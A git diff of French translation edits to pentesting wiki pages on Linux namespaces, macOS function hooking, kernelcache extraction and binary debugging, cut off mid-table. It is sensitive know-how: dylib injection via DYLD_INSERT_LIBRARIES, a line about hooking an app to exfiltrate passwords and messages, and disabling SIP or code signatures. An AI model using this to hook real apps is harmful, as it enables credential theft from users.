-## Informations de Base
+## Basic Information
 
-Un espace utilisateur est une fonctionnalité du noyau Linux qui **fournit une isolation des mappages d'ID utilisateur et de groupe**, permettant à chaque espace utilisateur d'avoir son **propre ensemble d'ID utilisateur et de groupe**. Cette isolation permet aux processus s'exécutant dans différents espaces utilisateurs d'**avoir des privilèges et une propriété différents**, même s'ils partagent les mêmes ID utilisateur et de groupe numériquement.
+Un espace de noms utilisateur est une fonctionnalité du noyau Linux qui **fournit une isolation des mappages d'ID utilisateur et de groupe**, permettant à chaque espace de noms utilisateur d'avoir son **propre ensemble d'ID utilisateur et de groupe**. Cette isolation permet aux processus s'exécutant dans différents espaces de noms utilisateurs d'**avoir des privilèges et une propriété différents**, même s'ils partagent les mêmes ID utilisateur et de groupe numériquement.
 
-Les espaces utilisateurs sont particulièrement utiles dans la conteneurisation, où chaque conteneur doit avoir son propre ensemble indépendant d'ID utilisateur et de groupe, permettant une meilleure sécurité et isolation entre les conteneurs et le système hôte.
+Les espaces de noms utilisateurs sont particulièrement utiles dans la conteneurisation, où chaque conteneur doit avoir son propre ensemble indépendant d'ID utilisateur et de groupe, permettant une meilleure sécurité et isolation entre les conteneurs et le système hôte.
 
-### Comment ça fonctionne :
+### How it works:
 
-1. Lorsqu'un nouvel espace utilisateur est créé, il **commence avec un ensemble vide de mappages d'ID utilisateur et de groupe**. Cela signifie que tout processus s'exécutant dans le nouvel espace utilisateur **n'a initialement aucun privilège en dehors de l'espace**.
-2. Des mappages d'ID peuvent être établis entre les ID utilisateur et de groupe dans le nouvel espace et ceux dans l'espace parent (ou hôte). Cela **permet aux processus dans le nouvel espace d'avoir des privilèges et une propriété correspondant aux ID utilisateur et de groupe dans l'espace parent**. Cependant, les mappages d'ID peuvent être restreints à des plages et sous-ensembles spécifiques d'ID, permettant un contrôle précis sur les privilèges accordés aux processus dans le nouvel espace.
-3. Dans un espace utilisateur, **les processus peuvent avoir des privilèges root complets (UID 0) pour les opérations à l'intérieur de l'espace**, tout en ayant des privilèges limités en dehors de l'espace. Cela permet **aux conteneurs de fonctionner avec des capacités similaires à celles de root dans leur propre espace sans avoir de privilèges root complets sur le système hôte**.
-4. Les processus peuvent se déplacer entre les espaces en utilisant l'appel système `setns()` ou créer de nouveaux espaces en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWUSER`. Lorsqu'un processus se déplace vers un nouvel espace ou en crée un, il commencera à utiliser les mappages d'ID utilisateur et de groupe associés à cet espace.
+1. Lorsqu'un nouvel espace de noms utilisateur est créé, il **commence avec un ensemble vide de mappages d'ID utilisateur et de groupe**. Cela signifie que tout processus s'exécutant dans le nouvel espace de noms utilisateur **n'a initialement aucun privilège en dehors de l'espace de noms**.
+2. Des mappages d'ID peuvent être établis entre les ID utilisateur et de groupe dans le nouvel espace de noms et ceux dans l'espace de noms parent (ou hôte). Cela **permet aux processus dans le nouvel espace de noms d'avoir des privilèges et une propriété correspondant aux ID utilisateur et de groupe dans l'espace de noms parent**. Cependant, les mappages d'ID peuvent être restreints à des plages et sous-ensembles spécifiques d'ID, permettant un contrôle précis sur les privilèges accordés aux processus dans le nouvel espace de noms.
+3. Dans un espace de noms utilisateur, **les processus peuvent avoir des privilèges root complets (UID 0) pour les opérations à l'intérieur de l'espace de noms**, tout en ayant des privilèges limités en dehors de l'espace de noms. Cela permet **aux conteneurs de fonctionner avec des capacités similaires à celles de root dans leur propre espace de noms sans avoir de privilèges root complets sur le système hôte**.
+4. Les processus peuvent se déplacer entre les espaces de noms en utilisant l'appel système `setns()` ou créer de nouveaux espaces de noms en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWUSER`. Lorsqu'un processus se déplace vers un nouvel espace de noms ou en crée un, il commencera à utiliser les mappages d'ID utilisateur et de groupe associés à cet espace de noms.
 
-## Laboratoire :
+## Lab:
 
-### Créer différents Espaces
+### Create different Namespaces
 
 #### CLI
 ```bash
 sudo unshare -U [--mount-proc] /bin/bash
 ```
-En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations de processus spécifiques à ce namespace**.
+En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations sur les processus spécifiques à ce namespace**.
 
 <details>
 
 <summary>Erreur : bash : fork : Impossible d'allouer de la mémoire</summary>
 
-Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous :
+Lorsque `unshare` est exécuté sans l'option `-f`, une erreur se produit en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous :
 
 1. **Explication du problème** :
 
@@ -55,7 +55,7 @@ docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
 ```
 Pour utiliser l'espace de noms utilisateur, le démon Docker doit être démarré avec **`--userns-remap=default`** (Dans Ubuntu 14.04, cela peut être fait en modifiant `/etc/default/docker` puis en exécutant `sudo service docker restart`)
 
-### &#x20;Vérifiez dans quel espace de noms se trouve votre processus
+### Vérifiez dans quel espace de noms se trouve votre processus
 ```bash
 ls -l /proc/self/ns/user
 lrwxrwxrwx 1 root root 0 Apr  4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
@@ -103,7 +103,7 @@ Dans le cas des espaces de noms utilisateurs, **lorsqu'un nouvel espace de noms
 Par exemple, lorsque vous avez la capacité `CAP_SYS_ADMIN` au sein d'un espace de noms utilisateur, vous pouvez effectuer des opérations qui nécessitent généralement cette capacité, comme le montage de systèmes de fichiers, mais uniquement dans le contexte de votre espace de noms utilisateur. Toute opération que vous effectuez avec cette capacité n'affectera pas le système hôte ou d'autres espaces de noms.
 
 > [!WARNING]
-> Par conséquent, même si obtenir un nouveau processus à l'intérieur d'un nouvel espace de noms utilisateur **vous donnera toutes les capacités de retour** (CapEff: 000001ffffffffff), vous pouvez en fait **uniquement utiliser celles liées à l'espace de noms** (montage par exemple) mais pas toutes. Donc, cela en soi n'est pas suffisant pour échapper à un conteneur Docker.
+> Par conséquent, même si obtenir un nouveau processus à l'intérieur d'un nouvel espace de noms utilisateur **vous donnera toutes les capacités de retour** (CapEff: 000001ffffffffff), vous ne pouvez en réalité **utiliser que celles liées à l'espace de noms** (montage par exemple) mais pas toutes. Donc, cela en soi n'est pas suffisant pour échapper à un conteneur Docker.
 ```bash
 # There are the syscalls that are filtered after changing User namespace with:
 unshare -UmCpf  bash

src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md

@@ -4,17 +4,17 @@
 
 ## Informations de base
 
-Un espace de noms UTS (UNIX Time-Sharing System) est une fonctionnalité du noyau Linux qui fournit l'**isolement de deux identifiants système** : le **nom d'hôte** et le **nom de domaine NIS** (Network Information Service). Cet isolement permet à chaque espace de noms UTS d'avoir son **propre nom d'hôte et son nom de domaine NIS** indépendants, ce qui est particulièrement utile dans les scénarios de conteneurisation où chaque conteneur doit apparaître comme un système séparé avec son propre nom d'hôte.
+Un namespace UTS (UNIX Time-Sharing System) est une fonctionnalité du noyau Linux qui fournit l'**isolement de deux identifiants système** : le **nom d'hôte** et le **nom de domaine NIS** (Network Information Service). Cet isolement permet à chaque namespace UTS d'avoir son **propre nom d'hôte et nom de domaine NIS indépendants**, ce qui est particulièrement utile dans les scénarios de conteneurisation où chaque conteneur doit apparaître comme un système séparé avec son propre nom d'hôte.
 
 ### Comment ça fonctionne :
 
-1. Lorsqu'un nouvel espace de noms UTS est créé, il commence avec une **copie du nom d'hôte et du nom de domaine NIS de son espace de noms parent**. Cela signifie qu'à la création, le nouvel espace de noms **partage les mêmes identifiants que son parent**. Cependant, tout changement ultérieur du nom d'hôte ou du nom de domaine NIS au sein de l'espace de noms n'affectera pas les autres espaces de noms.
-2. Les processus au sein d'un espace de noms UTS **peuvent changer le nom d'hôte et le nom de domaine NIS** en utilisant les appels système `sethostname()` et `setdomainname()`, respectivement. Ces changements sont locaux à l'espace de noms et n'affectent pas les autres espaces de noms ou le système hôte.
-3. Les processus peuvent se déplacer entre les espaces de noms en utilisant l'appel système `setns()` ou créer de nouveaux espaces de noms en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWUTS`. Lorsqu'un processus se déplace vers un nouvel espace de noms ou en crée un, il commencera à utiliser le nom d'hôte et le nom de domaine NIS associés à cet espace de noms.
+1. Lorsqu'un nouveau namespace UTS est créé, il commence avec une **copie du nom d'hôte et du nom de domaine NIS de son namespace parent**. Cela signifie qu'à la création, le nouveau namespace **partage les mêmes identifiants que son parent**. Cependant, tout changement ultérieur du nom d'hôte ou du nom de domaine NIS au sein du namespace n'affectera pas les autres namespaces.
+2. Les processus au sein d'un namespace UTS **peuvent changer le nom d'hôte et le nom de domaine NIS** en utilisant les appels système `sethostname()` et `setdomainname()`, respectivement. Ces changements sont locaux au namespace et n'affectent pas les autres namespaces ou le système hôte.
+3. Les processus peuvent se déplacer entre les namespaces en utilisant l'appel système `setns()` ou créer de nouveaux namespaces en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWUTS`. Lorsqu'un processus se déplace vers un nouveau namespace ou en crée un, il commencera à utiliser le nom d'hôte et le nom de domaine NIS associés à ce namespace.
 
 ## Laboratoire :
 
-### Créer différents espaces de noms
+### Créer différents Namespaces
 
 #### CLI
 ```bash
@@ -26,12 +26,12 @@ En montant une nouvelle instance du système de fichiers `/proc` si vous utilise
 
 <summary>Erreur : bash : fork : Impossible d'allouer de la mémoire</summary>
 
-Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous :
+Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (Process ID). Les détails clés et la solution sont décrits ci-dessous :
 
 1. **Explication du problème** :
 
 - Le noyau Linux permet à un processus de créer de nouveaux namespaces en utilisant l'appel système `unshare`. Cependant, le processus qui initie la création d'un nouveau namespace PID (appelé le processus "unshare") n'entre pas dans le nouveau namespace ; seuls ses processus enfants le font.
-- L'exécution de `%unshare -p /bin/bash%` démarre `/bin/bash` dans le même processus que `unshare`. Par conséquent, `/bin/bash` et ses processus enfants se trouvent dans l'espace de noms PID d'origine.
+- L'exécution de `%unshare -p /bin/bash%` démarre `/bin/bash` dans le même processus que `unshare`. Par conséquent, `/bin/bash` et ses processus enfants se trouvent dans le namespace PID d'origine.
 - Le premier processus enfant de `/bin/bash` dans le nouveau namespace devient PID 1. Lorsque ce processus se termine, il déclenche le nettoyage du namespace s'il n'y a pas d'autres processus, car PID 1 a le rôle spécial d'adopter les processus orphelins. Le noyau Linux désactivera alors l'allocation de PID dans ce namespace.
 
 2. **Conséquence** :
@@ -50,7 +50,7 @@ En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau name
 ```bash
 docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
 ```
-### &#x20;Vérifiez dans quel espace de noms se trouve votre processus
+### Vérifiez dans quel espace de noms se trouve votre processus
 ```bash
 ls -l /proc/self/ns/uts
 lrwxrwxrwx 1 root root 0 Apr  4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
@@ -61,7 +61,7 @@ sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null |
 # Find the processes with an specific namespace
 sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l  {} \; 2>/dev/null | grep <ns-number>
 ```
-### Entrer dans un namespace UTS
+### Entrer dans un espace de noms UTS
 ```bash
 nsenter -u TARGET_PID --pid /bin/bash
 ```

src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md

@@ -6,7 +6,7 @@
 
 Créez un **dylib** avec une section **`__interpose`** (ou une section marquée avec **`S_INTERPOSING`**) contenant des tuples de **pointeurs de fonction** qui se réfèrent aux fonctions **originales** et **de remplacement**.
 
-Ensuite, **injectez** le dylib avec **`DYLD_INSERT_LIBRARIES`** (l'interposition doit se produire avant le chargement de l'application principale). Évidemment, les [**restrictions** appliquées à l'utilisation de **`DYLD_INSERT_LIBRARIES`** s'appliquent également ici](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions). 
+Ensuite, **injectez** le dylib avec **`DYLD_INSERT_LIBRARIES`** (l'interposition doit se produire avant le chargement de l'application principale). Évidemment, les [**restrictions** appliquées à l'utilisation de **`DYLD_INSERT_LIBRARIES`** s'appliquent également ici](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
 
 ### Interposer printf
 
@@ -290,7 +290,7 @@ et ensuite **réenregistrer** l'application :
 ```bash
 /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
 ```
-Ajoutez dans cette bibliothèque le code de hooking pour exfiltrer les informations : Mots de passe, messages...
+Ajoutez dans cette bibliothèque le code de hooking pour exfiltrer les informations : mots de passe, messages...
 
 > [!CAUTION]
 > Notez que dans les versions plus récentes de macOS, si vous **supprimez la signature** du binaire de l'application et qu'il a été exécuté précédemment, macOS **n'exécutera plus l'application**.

src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md

@@ -47,11 +47,11 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
 > [!CAUTION]
 > Même si les extensions du noyau sont censées se trouver dans `/System/Library/Extensions/`, si vous allez dans ce dossier, vous **ne trouverez aucun binaire**. Cela est dû au **kernelcache** et pour inverser un `.kext`, vous devez trouver un moyen de l'obtenir.
 
-Le **kernelcache** est une **version précompilée et préliée du noyau XNU**, ainsi que des **drivers** et des **extensions de noyau** essentiels. Il est stocké dans un format **compressé** et est décompressé en mémoire pendant le processus de démarrage. Le kernelcache facilite un **temps de démarrage plus rapide** en ayant une version prête à l'emploi du noyau et des drivers cruciaux disponibles, réduisant le temps et les ressources qui seraient autrement dépensés pour charger et lier dynamiquement ces composants au moment du démarrage.
+Le **kernelcache** est une **version pré-compilée et pré-lien du noyau XNU**, ainsi que des **drivers** et des **extensions de noyau** essentiels. Il est stocké dans un format **compressé** et est décompressé en mémoire pendant le processus de démarrage. Le kernelcache facilite un **temps de démarrage plus rapide** en ayant une version prête à l'emploi du noyau et des drivers cruciaux disponibles, réduisant le temps et les ressources qui seraient autrement dépensés pour charger et lier dynamiquement ces composants au moment du démarrage.
 
 ### Local Kerlnelcache
 
-Dans iOS, il se trouve dans **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** dans macOS, vous pouvez le trouver avec : **`find / -name "kernelcache" 2>/dev/null`** \
+Dans iOS, il est situé dans **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** dans macOS, vous pouvez le trouver avec : **`find / -name "kernelcache" 2>/dev/null`** \
 Dans mon cas, dans macOS, je l'ai trouvé dans :
 
 - `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
@@ -81,7 +81,7 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
 # pyimg4 (https://github.com/m1stadev/PyIMG4)
 pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
 ```
-### Télécharger 
+### Télécharger
 
 - [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
 
@@ -95,7 +95,7 @@ nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
 
 Parfois, Apple publie **kernelcache** avec des **symbols**. Vous pouvez télécharger certains firmwares avec des symbols en suivant les liens sur ces pages. Les firmwares contiendront le **kernelcache** parmi d'autres fichiers.
 
-Pour **extract** les fichiers, commencez par changer l'extension de `.ipsw` à `.zip` et **unzip** le.
+Pour **extract** les fichiers, commencez par changer l'extension de `.ipsw` à `.zip` et **unzip** le fichier.
 
 Après avoir extrait le firmware, vous obtiendrez un fichier comme : **`kernelcache.release.iphone14`**. Il est au format **IMG4**, vous pouvez extraire les informations intéressantes avec :
 
@@ -113,7 +113,7 @@ Vérifiez si le kernelcache a des symboles avec
 ```bash
 nm -a kernelcache.release.iphone14.e | wc -l
 ```
-Avec cela, nous pouvons maintenant **extraire toutes les extensions** ou celle qui vous intéresse :
+Avec cela, nous pouvons maintenant **extraire toutes les extensions** ou **celle qui vous intéresse :**
 ```bash
 # List all extensions
 kextex -l kernelcache.release.iphone14.e

src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md

@@ -96,7 +96,7 @@ Il sera monté dans `/Volumes`
 
 ### Binaries empaquetés
 
-- Vérifiez l'entropie élevée
+- Vérifiez la haute entropie
 - Vérifiez les chaînes (s'il n'y a presque aucune chaîne compréhensible, empaqueté)
 - Le packer UPX pour MacOS génère une section appelée "\_\_XHDR"
 
@@ -116,7 +116,7 @@ Notez que ces noms peuvent être obfusqués pour rendre le reverse engineering d
 
 ### Appel de fonction
 
-Lorsqu'une fonction est appelée dans un binaire qui utilise Objective-C, le code compilé au lieu d'appeler cette fonction, appellera **`objc_msgSend`**. Cela appellera la fonction finale :
+Lorsqu'une fonction est appelée dans un binaire qui utilise Objective-C, le code compilé au lieu d'appeler cette fonction, appellera **`objc_msgSend`**. Ce qui appellera la fonction finale :
 
 ![](<../../../images/image (305).png>)
 
@@ -134,21 +134,21 @@ arm64-basic-assembly.md
 
 x64 :
 
-| **Argument**      | **Registre**                                                  | **(pour) objc_msgSend**                                 |
-| ----------------- | ------------------------------------------------------------- | ------------------------------------------------------ |
-| **1er argument**  | **rdi**                                                       | **self : objet sur lequel la méthode est invoquée**    |
-| **2e argument**   | **rsi**                                                       | **op : nom de la méthode**                             |
-| **3e argument**   | **rdx**                                                       | **1er argument de la méthode**                         |
-| **4e argument**   | **rcx**                                                       | **2e argument de la méthode**                         |
-| **5e argument**   | **r8**                                                        | **3e argument de la méthode**                         |
-| **6e argument**   | **r9**                                                        | **4e argument de la méthode**                         |
+| **Argument**      | **Registre**                                                    | **(pour) objc_msgSend**                                 |
+| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
+| **1er argument**  | **rdi**                                                         | **self : objet sur lequel la méthode est invoquée**    |
+| **2e argument**   | **rsi**                                                         | **op : nom de la méthode**                             |
+| **3e argument**   | **rdx**                                                         | **1er argument de la méthode**                         |
+| **4e argument**   | **rcx**                                                         | **2e argument de la méthode**                         |
+| **5e argument**   | **r8**                                                          | **3e argument de la méthode**                         |
+| **6e argument**   | **r9**                                                          | **4e argument de la méthode**                         |
 | **7e+ argument**  | <p><strong>rsp+</strong><br><strong>(sur la pile)</strong></p> | **5e+ argument de la méthode**                        |
 
 ### Dump des métadonnées ObjectiveC
 
 ### Dynadump
 
-[**Dynadump**](https://github.com/DerekSelander/dynadump) est un outil pour class-dumper les binaires Objective-C. Le github spécifie les dylibs mais cela fonctionne également avec les exécutables.
+[**Dynadump**](https://github.com/DerekSelander/dynadump) est un outil pour class-dump des binaires Objective-C. Le github spécifie les dylibs mais cela fonctionne également avec des exécutables.
 ```bash
 ./dynadump dump /path/to/bin
 ```
@@ -162,13 +162,13 @@ objdump --macho --objc-meta-data /path/to/bin
 ```
 #### class-dump
 
-[**class-dump**](https://github.com/nygard/class-dump/) est l'outil original qui génère des déclarations pour les classes, catégories et protocoles dans le code formaté en ObjetiveC.
+[**class-dump**](https://github.com/nygard/class-dump/) est l'outil original qui génère des déclarations pour les classes, catégories et protocoles dans le code formaté en ObjectiveC.
 
 Il est ancien et non maintenu, donc il ne fonctionnera probablement pas correctement.
 
 #### ICDump
 
-[**iCDump**](https://github.com/romainthomas/iCDump) est un dump de classe Objective-C moderne et multiplateforme. Par rapport aux outils existants, iCDump peut fonctionner indépendamment de l'écosystème Apple et expose des liaisons Python.
+[**iCDump**](https://github.com/romainthomas/iCDump) est un dump de classe Objective-C moderne et multiplateforme. Comparé aux outils existants, iCDump peut fonctionner indépendamment de l'écosystème Apple et expose des liaisons Python.
 ```python
 import icdump
 metadata = icdump.objc.parse("/path/to/bin")
@@ -179,7 +179,7 @@ print(metadata.to_decl())
 
 Avec les binaires Swift, étant donné qu'il y a une compatibilité avec Objective-C, il est parfois possible d'extraire des déclarations en utilisant [class-dump](https://github.com/nygard/class-dump/) mais ce n'est pas toujours le cas.
 
-Avec les lignes de commande **`jtool -l`** ou **`otool -l`**, il est possible de trouver plusieurs sections qui commencent par le préfixe **`__swift5`** :
+Avec les commandes **`jtool -l`** ou **`otool -l`**, il est possible de trouver plusieurs sections qui commencent par le préfixe **`__swift5`** :
 ```bash
 jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks
 LC 00: LC_SEGMENT_64              Mem: 0x000000000-0x100000000    __PAGEZERO
@@ -201,7 +201,7 @@ https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
 # Swift cli
 swift demangle
 ```
-## Analyse dynamique
+## Analyse Dynamique
 
 > [!WARNING]
 > Notez que pour déboguer des binaires, **SIP doit être désactivé** (`csrutil disable` ou `csrutil enable --without debug`) ou pour copier les binaires dans un dossier temporaire et **supprimer la signature** avec `codesign --remove-signature <binary-path>` ou permettre le débogage du binaire (vous pouvez utiliser [ce script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
@@ -232,21 +232,21 @@ Son plist est situé dans `/System/Library/LaunchDaemons/com.apple.sysdiagnose.p
 - `com.apple.sysdiagnose.kernel.ipc` : Port spécial 23 (noyau)
 - `com.apple.sysdiagnose.service.xpc` : Interface en mode utilisateur via la classe Obj-C `Libsysdiagnose`. Trois arguments dans un dict peuvent être passés (`compress`, `display`, `run`)
 
-### Journaux unifiés
+### Journaux Unifiés
 
 MacOS génère beaucoup de journaux qui peuvent être très utiles lors de l'exécution d'une application essayant de comprendre **ce qu'elle fait**.
 
-De plus, il y a certains journaux qui contiendront le tag `<private>` pour **cacher** certaines informations **identifiables** de **l'utilisateur** ou de **l'ordinateur**. Cependant, il est possible de **installer un certificat pour divulguer ces informations**. Suivez les explications de [**ici**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
+De plus, il y a certains journaux qui contiendront le tag `<private>` pour **cacher** certaines informations **identifiables** de **l'utilisateur** ou de **l'ordinateur**. Cependant, il est possible de **installer un certificat pour divulguer ces informations**. Suivez les explications [**ici**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
 
 ### Hopper
 
-#### Panneau gauche
+#### Panneau de gauche
 
-Dans le panneau gauche de Hopper, il est possible de voir les symboles (**Labels**) du binaire, la liste des procédures et fonctions (**Proc**) et les chaînes (**Str**). Ce ne sont pas toutes les chaînes mais celles définies dans plusieurs parties du fichier Mac-O (comme _cstring ou_ `objc_methname`).
+Dans le panneau de gauche de Hopper, il est possible de voir les symboles (**Labels**) du binaire, la liste des procédures et fonctions (**Proc**) et les chaînes (**Str**). Ce ne sont pas toutes les chaînes mais celles définies dans plusieurs parties du fichier Mac-O (comme _cstring ou_ `objc_methname`).
 
-#### Panneau central
+#### Panneau du milieu
 
-Dans le panneau central, vous pouvez voir le **code désassemblé**. Et vous pouvez le voir en tant que désassemblage **brut**, en tant que **graphique**, en tant que **décompilé** et en tant que **binaire** en cliquant sur l'icône respective :
+Dans le panneau du milieu, vous pouvez voir le **code désassemblé**. Et vous pouvez le voir en tant que désassemblage **brut**, en tant que **graphique**, en tant que **décompilé** et en tant que **binaire** en cliquant sur l'icône respective :
 
 <figure><img src="../../../images/image (343).png" alt=""><figcaption></figcaption></figure>
 
@@ -256,9 +256,9 @@ En cliquant avec le bouton droit sur un objet de code, vous pouvez voir **les r
 
 De plus, dans le **bas du milieu, vous pouvez écrire des commandes python**.
 
-#### Panneau droit
+#### Panneau de droite
 
-Dans le panneau droit, vous pouvez voir des informations intéressantes telles que l'**historique de navigation** (pour savoir comment vous êtes arrivé à la situation actuelle), le **graphe d'appels** où vous pouvez voir toutes les **fonctions qui appellent cette fonction** et toutes les fonctions que **cette fonction appelle**, et des informations sur les **variables locales**.
+Dans le panneau de droite, vous pouvez voir des informations intéressantes telles que l'**historique de navigation** (pour savoir comment vous êtes arrivé à la situation actuelle), le **graphe d'appels** où vous pouvez voir toutes les **fonctions qui appellent cette fonction** et toutes les fonctions que **cette fonction appelle**, et des informations sur les **variables locales**.
 
 ### dtrace
 
@@ -285,7 +285,7 @@ Le nom de la sonde se compose de quatre parties : le fournisseur, le module, la
 
 Pour configurer DTrace afin d'activer les sondes et de spécifier quelles actions effectuer lorsqu'elles se déclenchent, nous devrons utiliser le langage D.
 
-Une explication plus détaillée et plus d'exemples peuvent être trouvés dans [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)
+Une explication plus détaillée et d'autres exemples peuvent être trouvés dans [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)
 
 #### Exemples
 
@@ -343,7 +343,7 @@ C'est une installation de traçage du noyau. Les codes documentés peuvent être
 
 Des outils comme `latency`, `sc_usage`, `fs_usage` et `trace` l'utilisent en interne.
 
-Pour interagir avec `kdebug`, `sysctl` est utilisé sur l'espace de noms `kern.kdebug` et les MIBs à utiliser peuvent être trouvés dans `sys/sysctl.h`, les fonctions étant implémentées dans `bsd/kern/kdebug.c`.
+Pour interagir avec `kdebug`, `sysctl` est utilisé sur l'espace de noms `kern.kdebug` et les MIBs à utiliser peuvent être trouvés dans `sys/sysctl.h`, ayant les fonctions implémentées dans `bsd/kern/kdebug.c`.
 
 Pour interagir avec kdebug avec un client personnalisé, voici généralement les étapes :
 
@@ -353,11 +353,11 @@ Pour interagir avec kdebug avec un client personnalisé, voici généralement le
 - Obtenir le propre client à partir du traçage avec KERN_KDPINDEX
 - Activer le traçage avec KERN_KDENABLE
 - Lire le tampon en appelant KERN_KDREADTR
-- Pour faire correspondre chaque thread avec son processus, appeler KERN_KDTHRMAP.
+- Pour associer chaque thread à son processus, appeler KERN_KDTHRMAP.
 
 Pour obtenir ces informations, il est possible d'utiliser l'outil Apple **`trace`** ou l'outil personnalisé [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**.**
 
-**Notez que Kdebug n'est disponible que pour un client à la fois.** Donc, seul un outil alimenté par k-debug peut être exécuté en même temps.
+**Notez que Kdebug n'est disponible que pour 1 client à la fois.** Donc, seul un outil alimenté par k-debug peut être exécuté en même temps.
 
 ### ktrace
 
@@ -373,13 +373,13 @@ Ou `tailspin`.
 
 ### kperf
 
-Ceci est utilisé pour faire un profilage au niveau du noyau et il est construit en utilisant des appels `Kdebug`.
+Ceci est utilisé pour faire un profilage au niveau du noyau et est construit en utilisant des appels `Kdebug`.
 
 Fondamentalement, la variable globale `kernel_debug_active` est vérifiée et si elle est définie, elle appelle `kperf_kdebug_handler` avec le code `Kdebug` et l'adresse de la trame du noyau appelante. Si le code `Kdebug` correspond à un code sélectionné, il obtient les "actions" configurées sous forme de bitmap (voir `osfmk/kperf/action.h` pour les options).
 
 Kperf a également une table MIB sysctl : (en tant que root) `sysctl kperf`. Ces codes peuvent être trouvés dans `osfmk/kperf/kperfbsd.c`.
 
-De plus, un sous-ensemble de la fonctionnalité de Kperf réside dans `kpc`, qui fournit des informations sur les compteurs de performance de la machine.
+De plus, un sous-ensemble des fonctionnalités de Kperf réside dans `kpc`, qui fournit des informations sur les compteurs de performance de la machine.
 
 ### ProcessMonitor
 
@@ -424,7 +424,7 @@ Dans [**cet article de blog**](https://knight.sc/debugging/2019/06/03/debugging-
 
 ### lldb
 
-**lldb** est l'outil de **facto** pour le **débogage** binaire **macOS**.
+**lldb** est l'outil de **facto** pour le **débogage** de binaire **macOS**.
 ```bash
 lldb ./malware.bin
 lldb -p 1122
@@ -438,10 +438,10 @@ settings set target.x86-disassembly-flavor intel
 > [!WARNING]
 > À l'intérieur de lldb, déposez un processus avec `process save-core`
 
-<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Commande</strong></td><td><strong>Description</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Démarrer l'exécution, qui se poursuivra sans interruption jusqu'à ce qu'un point d'arrêt soit atteint ou que le processus se termine.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Démarrer l'exécution en s'arrêtant au point d'entrée</td></tr><tr><td><strong>continue (c)</strong></td><td>Continuer l'exécution du processus débogué.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Exécuter l'instruction suivante. Cette commande ignorera les appels de fonction.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Exécuter l'instruction suivante. Contrairement à la commande nexti, cette commande entrera dans les appels de fonction.</td></tr><tr><td><strong>finish (f)</strong></td><td>Exécuter le reste des instructions dans la fonction actuelle (“frame”) retourner et arrêter.</td></tr><tr><td><strong>control + c</strong></td><td>Mettre l'exécution en pause. Si le processus a été exécuté (r) ou continué (c), cela fera arrêter le processus ...où qu'il soit actuellement en cours d'exécution.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Toute fonction appelée main</p><p><code>b &#x3C;binname>`main</code> #Fonction principale du binaire</p><p><code>b set -n main --shlib &#x3C;lib_name></code> #Fonction principale du binaire indiqué</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Toute méthode NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set 